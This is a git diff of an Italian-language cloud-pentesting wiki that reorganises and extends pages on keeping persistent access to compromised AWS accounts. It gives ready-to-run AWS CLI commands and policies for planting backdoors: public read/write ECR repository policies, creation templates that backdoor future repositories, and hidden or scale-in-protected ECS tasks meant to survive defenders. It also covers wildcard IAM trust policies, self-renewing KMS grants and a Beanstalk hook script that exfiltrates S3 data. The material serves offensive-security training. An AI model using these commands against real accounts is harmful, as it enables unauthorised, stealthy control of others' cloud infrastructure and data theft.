diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md
deleted file mode 100644
index 95ac55672..000000000
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md
+++ /dev/null
@@ -1,91 +0,0 @@
-# AWS - ECR Persistence
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## ECR
-
-Per ulteriori informazioni controlla:
-
-{{#ref}}
-../aws-services/aws-ecr-enum.md
-{{#endref}}
-
-### Immagine Docker Nascosta con Codice Maligno
-
-Un attaccante potrebbe **caricare un'immagine Docker contenente codice maligno** in un repository ECR e usarla per mantenere la persistenza nell'account AWS target. L'attaccante potrebbe quindi distribuire l'immagine malevola a vari servizi all'interno dell'account, come Amazon ECS o EKS, in modo furtivo.
-
-### Politica del Repository
-
-Aggiungi una politica a un singolo repository che ti concede (o a tutti) accesso a un repository:
-```bash
-aws ecr set-repository-policy \
---repository-name cluster-autoscaler \
---policy-text file:///tmp/my-policy.json
-
-# With a .json such as
-
-{
-"Version" : "2008-10-17",
-"Statement" : [
-{
-"Sid" : "allow public pull",
-"Effect" : "Allow",
-"Principal" : "*",
-"Action" : [
-"ecr:BatchCheckLayerAvailability",
-"ecr:BatchGetImage",
-"ecr:GetDownloadUrlForLayer"
-]
-}
-]
-}
-```
-> [!WARNING]
-> Nota che ECR richiede che gli utenti abbiano **permessi** per effettuare chiamate all'API **`ecr:GetAuthorizationToken`** tramite una policy IAM **prima di poter autenticarsi** a un registro e caricare o scaricare immagini da qualsiasi repository Amazon ECR.
-
-### Politica del Registro e Replicazione tra Account
-
-È possibile replicare automaticamente un registro in un account esterno configurando la replicazione tra account, dove è necessario **indicare l'account esterno** in cui si desidera replicare il registro.
-
-<figure><img src="../../../images/image (79).png" alt=""><figcaption></figcaption></figure>
-
-Innanzitutto, è necessario concedere all'account esterno accesso al registro con una **politica del registro** come:
-```bash
-aws ecr put-registry-policy --policy-text file://my-policy.json
-
-# With a .json like:
-
-{
-"Sid": "asdasd",
-"Effect": "Allow",
-"Principal": {
-"AWS": "arn:aws:iam::947247140022:root"
-},
-"Action": [
-"ecr:CreateRepository",
-"ecr:ReplicateImage"
-],
-"Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*"
-}
-```
-Quindi applica la configurazione di replicazione:
-```bash
-aws ecr put-replication-configuration \
---replication-configuration file://replication-settings.json \
---region us-west-2
-
-# Having the .json a content such as:
-{
-"rules": [{
-"destinations": [{
-"region": "destination_region",
-"registryId": "destination_accountId"
-}],
-"repositoryFilters": [{
-"filter": "repository_prefix_name",
-"filterType": "PREFIX_MATCH"
-}]
-}]
-}
-```
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence/README.md
new file mode 100644
index 000000000..812cf9bfa
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence/README.md
@@ -0,0 +1,145 @@
+# AWS - ECR Persistenza
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## ECR
+
+Per maggiori informazioni consulta:
+
+{{#ref}}
+../../aws-services/aws-ecr-enum.md
+{{#endref}}
+
+### Immagine Docker nascosta con codice malevolo
+
+Un attaccante potrebbe **caricare un'immagine Docker contenente codice malevolo** in un repository ECR e usarla per mantenere la persistenza nell'account AWS di destinazione. L'attaccante potrebbe quindi distribuire l'immagine malevola su vari servizi all'interno dell'account, come Amazon ECS o EKS, in modo furtivo.
+
+### Policy del repository
+
+Aggiungi una policy a un singolo repository concedendo a te (o a chiunque) l'accesso al repository:
+```bash
+aws ecr set-repository-policy \
+--repository-name cluster-autoscaler \
+--policy-text file:///tmp/my-policy.json
+
+# With a .json such as
+
+{
+"Version" : "2008-10-17",
+"Statement" : [
+{
+"Sid" : "allow public pull",
+"Effect" : "Allow",
+"Principal" : "*",
+"Action" : [
+"ecr:BatchCheckLayerAvailability",
+"ecr:BatchGetImage",
+"ecr:GetDownloadUrlForLayer"
+]
+}
+]
+}
+```
+> [!WARNING]
+> Nota che ECR richiede che gli utenti abbiano **permesso** di effettuare chiamate all'API **`ecr:GetAuthorizationToken`** tramite una IAM policy **prima che possano autenticarsi** a un registro ed eseguire operazioni di push o pull su qualsiasi immagine da qualsiasi repository di Amazon ECR.
+
+### Politica del registro e replicazione tra account
+
+È possibile replicare automaticamente un registro in un account esterno configurando la replicazione cross-account, dove è necessario **indicare l'account esterno** nel quale si desidera replicare il registro.
+
+<figure><img src="../../../images/image (79).png" alt=""><figcaption></figcaption></figure>
+
+Per prima cosa, è necessario concedere all'account esterno l'accesso al registro con una **politica del registro** come:
+```bash
+aws ecr put-registry-policy --policy-text file://my-policy.json
+
+# With a .json like:
+
+{
+"Sid": "asdasd",
+"Effect": "Allow",
+"Principal": {
+"AWS": "arn:aws:iam::947247140022:root"
+},
+"Action": [
+"ecr:CreateRepository",
+"ecr:ReplicateImage"
+],
+"Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*"
+}
+```
+Quindi applica la configurazione di replica:
+```bash
+aws ecr put-replication-configuration \
+--replication-configuration file://replication-settings.json \
+--region us-west-2
+
+# Having the .json a content such as:
+{
+"rules": [{
+"destinations": [{
+"region": "destination_region",
+"registryId": "destination_accountId"
+}],
+"repositoryFilters": [{
+"filter": "repository_prefix_name",
+"filterType": "PREFIX_MATCH"
+}]
+}]
+}
+```
+### Repository Creation Templates (prefix backdoor per repo futuri)
+
+Abusa di ECR Repository Creation Templates per inserire automaticamente una backdoor in qualsiasi repository che ECR crea automaticamente sotto un prefisso controllato (per esempio tramite Pull-Through Cache o Create-on-Push). Questo concede accesso persistente non autorizzato ai repo futuri senza toccare quelli esistenti.
+
+- Required perms: ecr:CreateRepositoryCreationTemplate, ecr:DescribeRepositoryCreationTemplates, ecr:UpdateRepositoryCreationTemplate, ecr:DeleteRepositoryCreationTemplate, ecr:SetRepositoryPolicy (used by the template), iam:PassRole (if a custom role is attached to the template).
+- Impact: Any new repository created under the targeted prefix automatically inherits an attacker-controlled repository policy (e.g., cross-account read/write), tag mutability, and scanning defaults.
+
+<details>
+<summary>Inserire una backdoor nei repo creati da PTC sotto un prefisso scelto</summary>
+```bash
+# Region
+REGION=us-east-1
+
+# 1) Prepare permissive repository policy (example grants everyone RW)
+cat > /tmp/repo_backdoor_policy.json <<'JSON'
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Sid": "BackdoorRW",
+"Effect": "Allow",
+"Principal": {"AWS": "*"},
+"Action": [
+"ecr:BatchCheckLayerAvailability",
+"ecr:BatchGetImage",
+"ecr:GetDownloadUrlForLayer",
+"ecr:InitiateLayerUpload",
+"ecr:UploadLayerPart",
+"ecr:CompleteLayerUpload",
+"ecr:PutImage"
+]
+}
+]
+}
+JSON
+
+# 2) Create a Repository Creation Template for prefix "ptc2" applied to PULL_THROUGH_CACHE
+aws ecr create-repository-creation-template   --region $REGION   --prefix ptc2   --applied-for PULL_THROUGH_CACHE   --image-tag-mutability MUTABLE   --repository-policy file:///tmp/repo_backdoor_policy.json
+
+# 3) Create a Pull-Through Cache rule that will auto-create repos under that prefix
+#    This example caches from Amazon ECR Public namespace "nginx"
+aws ecr create-pull-through-cache-rule   --region $REGION   --ecr-repository-prefix ptc2   --upstream-registry ecr-public   --upstream-registry-url public.ecr.aws   --upstream-repository-prefix nginx
+
+# 4) Trigger auto-creation by pulling a new path once (creates repo ptc2/nginx)
+acct=$(aws sts get-caller-identity --query Account --output text)
+aws ecr get-login-password --region $REGION | docker login --username AWS --password-stdin ${acct}.dkr.ecr.${REGION}.amazonaws.com
+
+docker pull ${acct}.dkr.ecr.${REGION}.amazonaws.com/ptc2/nginx:latest
+
+# 5) Validate the backdoor policy was applied on the newly created repository
+aws ecr get-repository-policy --region $REGION --repository-name ptc2/nginx --query policyText --output text | jq .
+```
+</details>
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md
deleted file mode 100644
index f27619d63..000000000
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md
+++ /dev/null
@@ -1,93 +0,0 @@
-# AWS - Persistenza ECS
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## ECS
-
-Per ulteriori informazioni controlla:
-
-{{#ref}}
-../aws-services/aws-ecs-enum.md
-{{#endref}}
-
-### Attività ECS Periodica Nascosta
-
-> [!NOTE]
-> TODO: Test
-
-Un attaccante può creare un'attività ECS periodica nascosta utilizzando Amazon EventBridge per **pianificare l'esecuzione di un'attività malevola periodicamente**. Questa attività può eseguire ricognizione, esfiltrare dati o mantenere la persistenza nell'account AWS.
-```bash
-# Create a malicious task definition
-aws ecs register-task-definition --family "malicious-task" --container-definitions '[
-{
-"name": "malicious-container",
-"image": "malicious-image:latest",
-"memory": 256,
-"cpu": 10,
-"essential": true
-}
-]'
-
-# Create an Amazon EventBridge rule to trigger the task periodically
-aws events put-rule --name "malicious-ecs-task-rule" --schedule-expression "rate(1 day)"
-
-# Add a target to the rule to run the malicious ECS task
-aws events put-targets --rule "malicious-ecs-task-rule" --targets '[
-{
-"Id": "malicious-ecs-task-target",
-"Arn": "arn:aws:ecs:region:account-id:cluster/your-cluster",
-"RoleArn": "arn:aws:iam::account-id:role/your-eventbridge-role",
-"EcsParameters": {
-"TaskDefinitionArn": "arn:aws:ecs:region:account-id:task-definition/malicious-task",
-"TaskCount": 1
-}
-}
-]'
-```
-### Contenitore Backdoor nella Definizione di Task ECS Esistente
-
-> [!NOTE]
-> TODO: Test
-
-Un attaccante può aggiungere un **contenitore backdoor furtivo** in una definizione di task ECS esistente che viene eseguito insieme a contenitori legittimi. Il contenitore backdoor può essere utilizzato per la persistenza e per svolgere attività malevole.
-```bash
-# Update the existing task definition to include the backdoor container
-aws ecs register-task-definition --family "existing-task" --container-definitions '[
-{
-"name": "legitimate-container",
-"image": "legitimate-image:latest",
-"memory": 256,
-"cpu": 10,
-"essential": true
-},
-{
-"name": "backdoor-container",
-"image": "malicious-image:latest",
-"memory": 256,
-"cpu": 10,
-"essential": false
-}
-]'
-```
-### Servizio ECS non documentato
-
-> [!NOTE]
-> TODO: Test
-
-Un attaccante può creare un **servizio ECS non documentato** che esegue un'attività malevola. Impostando il numero desiderato di attività al minimo e disabilitando la registrazione, diventa più difficile per gli amministratori notare il servizio malevolo.
-```bash
-# Create a malicious task definition
-aws ecs register-task-definition --family "malicious-task" --container-definitions '[
-{
-"name": "malicious-container",
-"image": "malicious-image:latest",
-"memory": 256,
-"cpu": 10,
-"essential": true
-}
-]'
-
-# Create an undocumented ECS service with the malicious task definition
-aws ecs create-service --service-name "undocumented-service" --task-definition "malicious-task" --desired-count 1 --cluster "your-cluster"
-```
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence/README.md
new file mode 100644
index 000000000..c0364d42f
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence/README.md
@@ -0,0 +1,151 @@
+# AWS - ECS Persistence
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## ECS
+
+Per maggiori informazioni consulta:
+
+{{#ref}}
+../../aws-services/aws-ecs-enum.md
+{{#endref}}
+
+### Hidden Periodic ECS Task
+
+> [!NOTE]
+> TODO: Da testare
+
+Un attacker può creare un hidden periodic ECS task usando Amazon EventBridge per programmare l'esecuzione periodica di un malicious task. Questo task può eseguire reconnaissance, exfiltrate data o mantenere persistence nell'account AWS.
+```bash
+# Create a malicious task definition
+aws ecs register-task-definition --family "malicious-task" --container-definitions '[
+{
+"name": "malicious-container",
+"image": "malicious-image:latest",
+"memory": 256,
+"cpu": 10,
+"essential": true
+}
+]'
+
+# Create an Amazon EventBridge rule to trigger the task periodically
+aws events put-rule --name "malicious-ecs-task-rule" --schedule-expression "rate(1 day)"
+
+# Add a target to the rule to run the malicious ECS task
+aws events put-targets --rule "malicious-ecs-task-rule" --targets '[
+{
+"Id": "malicious-ecs-task-target",
+"Arn": "arn:aws:ecs:region:account-id:cluster/your-cluster",
+"RoleArn": "arn:aws:iam::account-id:role/your-eventbridge-role",
+"EcsParameters": {
+"TaskDefinitionArn": "arn:aws:ecs:region:account-id:task-definition/malicious-task",
+"TaskCount": 1
+}
+}
+]'
+```
+### Backdoor Container in una ECS Task Definition esistente
+
+> [!NOTE]
+> DA TESTARE
+
+Un attaccante può aggiungere un **stealthy backdoor container** in una ECS task definition esistente che viene eseguita insieme ai container legittimi. Il backdoor container può essere usato per la persistenza e per eseguire attività malevole.
+```bash
+# Update the existing task definition to include the backdoor container
+aws ecs register-task-definition --family "existing-task" --container-definitions '[
+{
+"name": "legitimate-container",
+"image": "legitimate-image:latest",
+"memory": 256,
+"cpu": 10,
+"essential": true
+},
+{
+"name": "backdoor-container",
+"image": "malicious-image:latest",
+"memory": 256,
+"cpu": 10,
+"essential": false
+}
+]'
+```
+### Servizio ECS non documentato
+
+> [!NOTE]
+> TODO: Test
+
+Un attaccante può creare un **servizio ECS non documentato** che esegue un task maligno. Impostando il numero desiderato di task al minimo e disabilitando il logging, diventa più difficile per gli amministratori notare il servizio maligno.
+```bash
+# Create a malicious task definition
+aws ecs register-task-definition --family "malicious-task" --container-definitions '[
+{
+"name": "malicious-container",
+"image": "malicious-image:latest",
+"memory": 256,
+"cpu": 10,
+"essential": true
+}
+]'
+
+# Create an undocumented ECS service with the malicious task definition
+aws ecs create-service --service-name "undocumented-service" --task-definition "malicious-task" --desired-count 1 --cluster "your-cluster"
+```
+### ECS Persistence via Task Scale-In Protection (UpdateTaskProtection)
+
+Abusa di ecs:UpdateTaskProtection per impedire che i service tasks vengano fermati da scale‑in events e rolling deployments. Estendendo continuamente la protezione, un attacker può mantenere in esecuzione un task a lunga durata (per C2 o raccolta dati) anche se i defenders riducono desiredCount o pubblicano nuove revisioni del task.
+
+Passaggi per riprodurre in us-east-1:
+```bash
+# 1) Cluster (create if missing)
+CLUSTER=$(aws ecs list-clusters --query 'clusterArns[0]' --output text 2>/dev/null)
+[ -z "$CLUSTER" -o "$CLUSTER" = "None" ] && CLUSTER=$(aws ecs create-cluster --cluster-name ht-ecs-persist --query 'cluster.clusterArn' --output text)
+
+# 2) Minimal backdoor task that just sleeps (Fargate/awsvpc)
+cat > /tmp/ht-persist-td.json << 'JSON'
+{
+"family": "ht-persist",
+"networkMode": "awsvpc",
+"requiresCompatibilities": ["FARGATE"],
+"cpu": "256",
+"memory": "512",
+"containerDefinitions": [
+{"name": "idle","image": "public.ecr.aws/amazonlinux/amazonlinux:latest",
+"command": ["/bin/sh","-c","sleep 864000"]}
+]
+}
+JSON
+aws ecs register-task-definition --cli-input-json file:///tmp/ht-persist-td.json >/dev/null
+
+# 3) Create service (use default VPC public subnet + default SG)
+VPC=$(aws ec2 describe-vpcs --filters Name=isDefault,Values=true --query 'Vpcs[0].VpcId' --output text)
+SUBNET=$(aws ec2 describe-subnets --filters Name=vpc-id,Values=$VPC Name=map-public-ip-on-launch,Values=true --query 'Subnets[0].SubnetId' --output text)
+SG=$(aws ec2 describe-security-groups --filters Name=vpc-id,Values=$VPC Name=group-name,Values=default --query 'SecurityGroups[0].GroupId' --output text)
+aws ecs create-service --cluster "$CLUSTER" --service-name ht-persist-svc \
+--task-definition ht-persist --desired-count 1 --launch-type FARGATE \
+--network-configuration "awsvpcConfiguration={subnets=[$SUBNET],securityGroups=[$SG],assignPublicIp=ENABLED}"
+
+# 4) Get running task ARN
+TASK=$(aws ecs list-tasks --cluster "$CLUSTER" --service-name ht-persist-svc --desired-status RUNNING --query 'taskArns[0]' --output text)
+
+# 5) Enable scale-in protection for 24h and verify
+aws ecs update-task-protection --cluster "$CLUSTER" --tasks "$TASK" --protection-enabled --expires-in-minutes 1440
+aws ecs get-task-protection --cluster "$CLUSTER" --tasks "$TASK"
+
+# 6) Try to scale service to 0 (task should persist)
+aws ecs update-service --cluster "$CLUSTER" --service ht-persist-svc --desired-count 0
+aws ecs list-tasks --cluster "$CLUSTER" --service-name ht-persist-svc --desired-status RUNNING
+
+# Optional: rolling deployment blocked by protection
+aws ecs register-task-definition --cli-input-json file:///tmp/ht-persist-td.json >/dev/null
+aws ecs update-service --cluster "$CLUSTER" --service ht-persist-svc --task-definition ht-persist --force-new-deployment
+aws ecs describe-services --cluster "$CLUSTER" --services ht-persist-svc --query 'services[0].events[0]'
+
+# 7) Cleanup
+aws ecs update-task-protection --cluster "$CLUSTER" --tasks "$TASK" --no-protection-enabled || true
+aws ecs update-service --cluster "$CLUSTER" --service ht-persist-svc --desired-count 0 || true
+aws ecs delete-service --cluster "$CLUSTER" --service ht-persist-svc --force || true
+aws ecs deregister-task-definition --task-definition ht-persist || true
+```
+Impatto: Un task protetto rimane RUNNING nonostante desiredCount=0 e blocca le sostituzioni durante nuovi deployments, consentendo una persistenza furtiva e di lunga durata all'interno del servizio ECS.
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md
deleted file mode 100644
index 1111286cf..000000000
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md
+++ /dev/null
@@ -1,21 +0,0 @@
-# AWS - EFS Persistence
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## EFS
-
-Per ulteriori informazioni controlla:
-
-{{#ref}}
-../aws-services/aws-efs-enum.md
-{{#endref}}
-
-### Modifica della Politica delle Risorse / Gruppi di Sicurezza
-
-Modificando la **politica delle risorse e/o i gruppi di sicurezza** puoi provare a mantenere il tuo accesso nel file system.
-
-### Crea un Punto di Accesso
-
-Potresti **creare un punto di accesso** (con accesso root a `/`) accessibile da un servizio dove hai implementato **altra persistenza** per mantenere l'accesso privilegiato al file system.
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence/README.md
new file mode 100644
index 000000000..034d7ba69
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence/README.md
@@ -0,0 +1,21 @@
+# AWS - EFS Persistence
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## EFS
+
+Per maggiori informazioni consulta:
+
+{{#ref}}
+../../aws-services/aws-efs-enum.md
+{{#endref}}
+
+### Modify Resource Policy / Security Groups
+
+Modificando la **resource policy e/o security groups** puoi provare a ottenere persistence del tuo accesso nel file system.
+
+### Create Access Point
+
+Potresti **create an access point** (con root access a `/`) accessibile da un servizio dove hai implementato **other persistence** per mantenere l'accesso privilegiato al file system.
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence/README.md
similarity index 54%
rename from src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md
rename to src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence/README.md
index 6e7182738..3ac0d44eb 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence/README.md
@@ -1,35 +1,35 @@
-# AWS - Persistenza di Elastic Beanstalk
+# AWS - Elastic Beanstalk Persistenza
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## Elastic Beanstalk
 
-Per ulteriori informazioni controlla:
+Per maggiori informazioni consulta:
 
 {{#ref}}
-../aws-services/aws-elastic-beanstalk-enum.md
+../../aws-services/aws-elastic-beanstalk-enum.md
 {{#endref}}
 
 ### Persistenza nell'istanza
 
-Per mantenere la persistenza all'interno dell'account AWS, alcuni **meccanismi di persistenza potrebbero essere introdotti all'interno dell'istanza** (cron job, chiave ssh...) in modo che l'attaccante possa accedervi e rubare le **credenziali del ruolo IAM dal servizio di metadata**.
+Per mantenere la persistenza all'interno dell'account AWS, qualche **meccanismo di persistenza potrebbe essere introdotto all'interno dell'istanza** (cron job, ssh key...) così l'attaccante potrà accedervi e rubare le IAM role **credentials dal metadata service**.
 
 ### Backdoor nella versione
 
-Un attaccante potrebbe inserire una backdoor nel codice all'interno del repository S3 in modo che esegua sempre la sua backdoor e il codice previsto.
+Un attaccante potrebbe backdoorare il code all'interno del S3 repo in modo che esegua sempre la sua backdoor e il code previsto.
 
-### Nuova versione con backdoor
+### Nuova versione backdoored
 
-Invece di modificare il codice sulla versione attuale, l'attaccante potrebbe distribuire una nuova versione dell'applicazione con backdoor.
+Invece di modificare il code nella versione attuale, l'attaccante potrebbe distribuire una nuova versione backdoored dell'applicazione.
 
-### Abuso degli Hook del Ciclo di Vita delle Risorse Personalizzate
+### Abuso dei Custom Resource Lifecycle Hooks
 
 > [!NOTE]
 > TODO: Test
 
-Elastic Beanstalk fornisce hook del ciclo di vita che consentono di eseguire script personalizzati durante la provisioning e la terminazione dell'istanza. Un attaccante potrebbe **configurare un hook del ciclo di vita per eseguire periodicamente uno script che esfiltra dati o mantiene l'accesso all'account AWS**.
+Elastic Beanstalk fornisce lifecycle hooks che permettono di eseguire custom scripts durante il provisioning e la terminazione dell'istanza. Un attaccante potrebbe **configurare un lifecycle hook per eseguire periodicamente uno script che exfiltrates dati o mantiene l'accesso all'account AWS**.
 ```bash
-bashCopy code# Attacker creates a script that exfiltrates data and maintains access
+# Attacker creates a script that exfiltrates data and maintains access
 echo '#!/bin/bash
 aws s3 cp s3://sensitive-data-bucket/data.csv /tmp/data.csv
 gzip /tmp/data.csv
@@ -72,4 +72,4 @@ Fn::GetAtt:
 # Attacker applies the new environment configuration
 aws elasticbeanstalk update-environment --environment-name my-env --option-settings Namespace="aws:elasticbeanstalk:customoption",OptionName="CustomConfigurationTemplate",Value="stealthy_lifecycle_hook.yaml"
 ```
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md
deleted file mode 100644
index 65146425a..000000000
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md
+++ /dev/null
@@ -1,47 +0,0 @@
-# AWS - IAM Persistence
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## IAM
-
-Per ulteriori informazioni accedi a:
-
-{{#ref}}
-../aws-services/aws-iam-enum.md
-{{#endref}}
-
-### Persistenza IAM comune
-
-- Crea un utente
-- Aggiungi un utente controllato a un gruppo privilegiato
-- Crea chiavi di accesso (del nuovo utente o di tutti gli utenti)
-- Concedi permessi extra a utenti/gruppi controllati (politiche collegate o politiche inline)
-- Disabilita MFA / Aggiungi il tuo dispositivo MFA
-- Crea una situazione di Role Chain Juggling (ulteriori informazioni su questo di seguito nella persistenza STS)
-
-### Politiche di fiducia del ruolo backdoor
-
-Potresti inserire una backdoor in una politica di fiducia per poterla assumere per una risorsa esterna controllata da te (o da chiunque):
-```json
-{
-"Version": "2012-10-17",
-"Statement": [
-{
-"Effect": "Allow",
-"Principal": {
-"AWS": ["*", "arn:aws:iam::123213123123:root"]
-},
-"Action": "sts:AssumeRole"
-}
-]
-}
-```
-### Versione della Politica di Backdoor
-
-Dai permessi di Amministratore a una politica che non è l'ultima versione (l'ultima versione dovrebbe apparire legittima), quindi assegna quella versione della politica a un utente/gruppo controllato.
-
-### Backdoor / Crea Provider di Identità
-
-Se l'account sta già fidandosi di un provider di identità comune (come Github), le condizioni della fiducia potrebbero essere aumentate in modo che l'attaccante possa abusarne.
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence/README.md
new file mode 100644
index 000000000..7239767da
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence/README.md
@@ -0,0 +1,47 @@
+# AWS - IAM Persistence
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## IAM
+
+Per maggiori informazioni consulta:
+
+{{#ref}}
+../../aws-services/aws-iam-enum.md
+{{#endref}}
+
+### Persistenze IAM comuni
+
+- Creare un user
+- Aggiungere un controlled user a un privileged group
+- Creare access keys (del nuovo user o di tutti gli user)
+- Concedere permessi extra a controlled users/groups (attached policies o inline policies)
+- Disabilitare MFA / Aggiungere il proprio MFA device
+- Creare una situazione Role Chain Juggling (più avanti su STS persistence)
+
+### Backdoor Role Trust Policies
+
+Potresti backdoorare una trust policy in modo che una risorsa esterna controllata da te (o da chiunque) possa 'assume' il ruolo:
+```json
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Effect": "Allow",
+"Principal": {
+"AWS": ["*", "arn:aws:iam::123213123123:root"]
+},
+"Action": "sts:AssumeRole"
+}
+]
+}
+```
+### Versione della policy Backdoor
+
+Concedere i permessi di Administrator a una policy che non è nell'ultima versione (l'ultima versione dovrebbe sembrare legittima), quindi assegnare quella versione della policy a un utente/gruppo controllato.
+
+### Backdoor / Creazione di Identity Provider
+
+Se l'account si fida già di un identity provider comune (come Github), le condizioni del trust potrebbero essere estese in modo che l'attaccante possa abusarne.
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md
deleted file mode 100644
index 93cf32216..000000000
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md
+++ /dev/null
@@ -1,37 +0,0 @@
-# AWS - KMS Persistence
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## KMS
-
-Per ulteriori informazioni controlla:
-
-{{#ref}}
-../aws-services/aws-kms-enum.md
-{{#endref}}
-
-### Concedere accesso tramite le politiche KMS
-
-Un attaccante potrebbe utilizzare il permesso **`kms:PutKeyPolicy`** per **dare accesso** a una chiave a un utente sotto il suo controllo o anche a un account esterno. Controlla la [**pagina KMS Privesc**](../aws-privilege-escalation/aws-kms-privesc.md) per ulteriori informazioni.
-
-### Grant eterno
-
-I grant sono un altro modo per dare a un principale alcuni permessi su una chiave specifica. È possibile concedere un grant che consente a un utente di creare grant. Inoltre, un utente può avere diversi grant (anche identici) sulla stessa chiave.
-
-Pertanto, è possibile che un utente abbia 10 grant con tutti i permessi. L'attaccante dovrebbe monitorare questo costantemente. E se a un certo punto 1 grant viene rimosso, altri 10 dovrebbero essere generati.
-
-(Stiamo usando 10 e non 2 per poter rilevare che un grant è stato rimosso mentre l'utente ha ancora alcuni grant)
-```bash
-# To generate grants, generate 10 like this one
-aws kms create-grant \
---key-id <key-id> \
---grantee-principal <user_arn> \
---operations "CreateGrant" "Decrypt"
-
-# To monitor grants
-aws kms list-grants --key-id <key-id>
-```
-> [!NOTE]
-> Un grant può concedere permessi solo da questo: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations)
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence/README.md
new file mode 100644
index 000000000..675b49ef1
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence/README.md
@@ -0,0 +1,37 @@
+# AWS - KMS Persistenza
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## KMS
+
+Per maggiori informazioni consulta:
+
+{{#ref}}
+../../aws-services/aws-kms-enum.md
+{{#endref}}
+
+### Grant acces via KMS policies
+
+Un attacker potrebbe usare la permission **`kms:PutKeyPolicy`** per **give access** a una key a un user sotto il suo controllo o anche a un account esterno. Check the [**KMS Privesc page**](../../aws-privilege-escalation/aws-kms-privesc/README.md) for more information.
+
+### Eternal Grant
+
+Grants sono un altro modo per give a principal alcune permissions su una specific key. È possibile dare un grant che permette a un user di creare grants. Inoltre, un user può avere diversi grant (anche identici) sulla stessa key.
+
+Quindi, è possibile che un user abbia 10 grants con tutte le permissions. L'attacker dovrebbe monitorare questo costantemente. E se ad un certo punto 1 grant viene rimosso, altri 10 dovrebbero essere generati.
+
+(Stiamo usando 10 e non 2 per essere in grado di rilevare che un grant è stato rimosso mentre l'user ha ancora qualche grant)
+```bash
+# To generate grants, generate 10 like this one
+aws kms create-grant \
+--key-id <key-id> \
+--grantee-principal <user_arn> \
+--operations "CreateGrant" "Decrypt"
+
+# To monitor grants
+aws kms list-grants --key-id <key-id>
+```
+> [!NOTE]
+> Un grant può concedere permessi solo da questo: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations)
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md
deleted file mode 100644
index 606c4f144..000000000
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md
+++ /dev/null
